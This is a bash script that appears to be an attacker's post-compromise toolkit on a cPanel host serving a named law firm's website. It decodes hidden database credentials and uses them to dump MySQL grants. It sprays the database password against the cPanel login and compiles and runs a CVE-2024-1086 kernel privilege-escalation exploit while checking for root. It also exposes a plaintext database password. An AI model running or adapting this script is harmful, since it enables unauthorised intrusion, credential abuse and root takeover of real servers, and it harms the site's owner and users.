#!/bin/bash
export PATH=/usr/libexec/gcc/x86_64-redhat-linux/8:/usr/bin:/bin
GCC="/usr/bin/gcc -B /usr/libexec/gcc/x86_64-redhat-linux/8"
LOG=/tmp/begum_w4.log
: > "$LOG"
DU=$(echo YmVndW1hZHZpX3VzZXIy|base64 -d)
DP=$(echo REk3P3JpOS1xI0hMfndEZw==|base64 -d)
DN=$(echo YmVndW1hZHZpX3NpdGU=|base64 -d)

echo "=== MYSQL via cli ===" | tee -a "$LOG"
mysql -u"$DU" -p"$DP" "$DN" -e "SELECT user(),@@version;" 2>&1 | tee -a "$LOG"
mysql -u"$DU" -p"$DP" -e "SHOW GRANTS FOR CURRENT_USER;" 2>&1 | tee -a "$LOG"

echo "=== CPANEL spray DB pass ===" | tee -a "$LOG"
C=/usr/bin/curl; H=begumadvisorylawyers.com
for U in begumadvi "$DU"; do
  R=$($C -sk "https://127.0.0.1:2083/login/?login_only=1" -H "Host: $H:2083" --data-urlencode "user=$U" --data-urlencode "pass=$DP" -D - -o /dev/null 2>&1)
  echo "$U -> $(echo "$R"|grep -E 'HTTP|Location|cpsess[0-9]'|head -2|tr '\n' ' ')" | tee -a "$LOG"
done

echo "=== CVE-2024-1086 make ===" | tee -a "$LOG"
ls -la /tmp/c1086/ 2>&1 | tee -a "$LOG"
if [ -f /tmp/c1086/Makefile ]; then
  cd /tmp/c1086 && make 2>&1 | tail -10 | tee -a "$LOG"
  [ -x /tmp/c1086/exploit ] && timeout 40 /tmp/c1086/exploit 2>&1 | tail -15 | tee -a "$LOG"
  [ -x /tmp/c1086/exploit_dyn ] && timeout 40 /tmp/c1086/exploit_dyn 2>&1 | tail -15 | tee -a "$LOG"
fi
if [ -d /tmp/c1086/src ]; then
  $GCC /tmp/c1086/src/*.c -o /tmp/c1086bin -lpthread -lnftnl -lmnl 2>&1 | tail -5 | tee -a "$LOG"
  [ -x /tmp/c1086bin ] && timeout 40 /tmp/c1086bin 2>&1 | tail -10 | tee -a "$LOG"
fi
id; test -O /root && echo ROOT_OK || echo NOT_ROOT

echo "=== PHP mysql grants ===" | tee -a "$LOG"
php -r '$m=new mysqli("localhost","begumadvi_user2","DI7?ri9-q#HL~wDg","begumadvi_site"); if($m->connect_error){echo $m->connect_error;exit;} $r=$m->query("SHOW GRANTS"); while($x=$r->fetch_row()) echo $x[0],"\n";' 2>&1 | tee -a "$LOG"

test -O /root && echo FINAL_ROOT_OK || echo FINAL_NOT_ROOT
tail -30 "$LOG"